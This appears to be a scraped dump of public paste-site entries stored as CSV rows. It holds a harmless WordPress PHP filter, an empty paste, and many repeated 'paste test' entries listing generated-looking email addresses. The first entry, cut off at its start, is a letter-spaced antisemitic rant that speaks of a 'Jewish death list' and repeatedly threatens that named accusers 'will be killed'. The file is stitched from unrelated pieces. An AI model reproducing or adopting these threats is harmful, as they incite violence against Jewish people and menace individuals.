W H O F I L M - R E C O R D M E S T A N D O N I N T E R N A T I O N A L J E W I S H D E A T H L I S T . T H E Y A R E I D E N T I F I E D A N D W I L L B E K I L L E D . +I A M N O T P R O P E R T Y O F A V U L G A R R O G U E L o g e . T H E S E P E R S O N S W I L L B E K I L L E D : D I E V I O L E N T L Y E V E R T O O . A N C I E N T A N D E T E R N A L S E R V I C E S R O T O U T E X T I N C T T H I S U N C L E A N B L A S P H E M I C A L C A N N I B A L M O B . +h t t p s : / / w w w . i s r a e l d e f e n s e . c o . i l / e n / n o d e / 2 2 6 3 6 / d o n e ? s i d = 7 4 9 5 6 & t o k e n = 5 b a 2 2 6 f 4 4 5 e e 2 9 6 3 2 d b 1 a b 7 9 1 4 9 4 1 8 4 e +P S ) T H E C U L P R I T S A R E N O N P E R S O N S . I N T E R N A T I O N A L L Y R E W A R D E D A N D N O T I N S U R A B L E . D E A T H L I S T S . +I F O R W A R D T H I S S O T O G E R M A N P O L I C E . +I H A V E N E V E R E N T E R E D J O I N E D S U C H A S S O C I A T I O N . T H E L I A R S F A L S E A C C U S A T O R S A R E I N T E L L I G E N C E D E C R E A S E D V U L G A R S A N D W I L L B E K I L L E D B Y S E N I O R M A L E O R F E M A L E O F F I C E R S ." +sH4kjBd8,additional auction condition terms,wpgenie,PHP,Tuesday 14th of November 2023 07:21:24 AM CDT,"add_filter('simple_auction_item_condition', 'wpgenie_custom_item_condition' ); +function wpgenie_custom_item_condition( $array ){ + + $array = array( + + 'new' => esc_html__('New', 'wc_simple_auctions_custom'), + 'used' => esc_html__('Used', 'wc_simple_auctions_custom'), + 'old' => esc_html__('Old', 'wc_simple_auctions_custom'), + 'broken' => esc_html__('Broken', 'wc_simple_auctions_custom') + + ); + + return $array; +} +" +xrdmCGGs,IB,DeividasBalysevas,JavaScript,Tuesday 14th of November 2023 06:14:43 AM CDT,"" +8Cbu7hVn,paste test,dolomite42,C,Tuesday 14th of November 2023 06:09:59 AM CDT,"Pasted at: 14/11/2023 12:09 +1475e8e5e-45d9-4f89-8e79-c59df1056725@gmail.com" +NpK48nsb,paste test,dolomite42,C,Tuesday 14th of November 2023 06:09:58 AM CDT,"Pasted at: 14/11/2023 12:09 +0475e8e5e-45d9-4f89-8e79-c59df1056725@gmail.com" +i3hGVvuj,paste test,dolomite42,C,Tuesday 14th of November 2023 06:09:48 AM CDT,"Pasted at: 14/11/2023 12:09 +205f5c4ed4-bccf-4c25-beb2-9568ea6ecf89@gmail.com" +wAXiw91X,paste test,dolomite42,C,Tuesday 14th of November 2023 06:09:48 AM CDT,"Pasted at: 14/11/2023 12:09 +195f5c4ed4-bccf-4c25-beb2-9568ea6ecf89@gmail.com" +GCQryV69,paste test,dolomite42,C,Tuesday 14th of November 2023 06:09:47 AM CDT,"Pasted at: 14/11/2023 12:09 +185f5c4ed4-bccf-4c25-beb2-9568ea6ecf89@gmail.com" +0qNpD0Df,paste test,dolomite42,C,Tuesday 14th of November 2023 06:09:47 AM CDT,"Pasted at: 14/11/2023 12:09 +175f5c4ed4-bccf-4c25-beb2-9568ea6ecf89@gmail.com" +iT4ZqDtD,paste test,dolomite42,C,Tuesday 14th of November 2023 06:09:46 AM CDT,"Pasted at: 14/11/2023 12:09 +165f5c4ed4-bccf-4c25-beb2-9568ea6ecf89@gmail.com" +ginhZAUy,paste test,dolomite42,C,Tuesday 14th of November 2023 06:09:46 AM CDT,"Pasted at: 14/11/2023 12:09 +155f5c4ed4-bccf-4c25-beb2-9568ea6ecf89@gmail.com" +zJ0TXcYg,paste test,dolomite42,C,Tuesday 14th of November 2023 06:09:45 AM CDT,"Pasted at: 14/11/2023 12:09 +145f5c4ed4-bccf-4c25-beb2-9568ea6ecf89@gmail.com" +ty66Q7rT,paste test,dolomite42,C,Tuesday 14th of November 2023 06:09:45 AM CDT,"Pasted at: 14/11/2023 12:09 +135f5c4ed4-bccf-4c25-beb2-9568ea6ecf89@gmail.com" +mLMCfP3i,paste test,dolomite42,C,Tuesday 14th of November 2023 06:09:44 AM CDT,"Pasted at: 14/11/2023 12:09 +125f5c4ed4-bccf-4c25-beb2-9568ea6ecf89@gmail.com" +K7dih1kB,paste test,dolomite42,C,Tuesday 14th of November 2023 06:09:44 AM CDT,"Pasted at: 14/11/2023 12:09 +115f5c4ed4-bccf-4c25-beb2-9568ea6ecf89@gmail.com" +7Kiqte0P,paste test,dolomite42,C,Tuesday 14th of November 2023 06:09:43 AM CDT,"Pasted at: 14/11/2023 12:09 +105f5c4ed4-bccf-4c25-beb2-9568ea6ecf89@gmail.com" +S7UUDDWh,paste test,dolomite42,C,Tuesday 14th of November 2023 06:09:43 AM CDT,"Pasted at: 14/11/2023 12:09 +95f5c4ed4-bccf-4c25-beb2-9568ea6ecf89@gmail.com" +Kdca655b,paste test,dolomite42,C,Tuesday 14th of November 2023 06:09:42 AM CDT,"Pasted at: 14/11/2023 12:09 +85f5c4ed4-bccf-4c25-beb2-9568ea6ecf89@gmail.com" +btTHA4yR,paste test,dolomite42,C,Tuesday 14th of November 2023 06:09:42 AM CDT,"Pasted at: 14/11/2023 12:09 +75f5c4ed4-bccf-4c25-beb2-9568ea6ecf89@gmail.com" +bmzDHrY4,paste test,dolomite42,C,Tuesday 14th of November 2023 06:09:41 AM CDT,"Pasted at: 14/11/2023 12:09 +65f5c4ed4-bccf-4c25-beb2-9568ea6ecf89@gmail.com" +n13y7xrZ,paste test,dolomite42,C,Tuesday 14th of November 2023 06:09:41 AM CDT,"Pasted at: 14/11/2023 12:09 +55f5c4ed4-bccf-4c25-beb2-9568ea6ecf89@gmail.com" +VyCiNefQ,paste test,dolomite42,C,Tuesday 14th of November 2023 06:09:41 AM CDT,"Pasted at: 14/11/2023 12:09 +45f5c4ed4-bccf-4c25-beb2-9568ea6ecf89@gmail.com"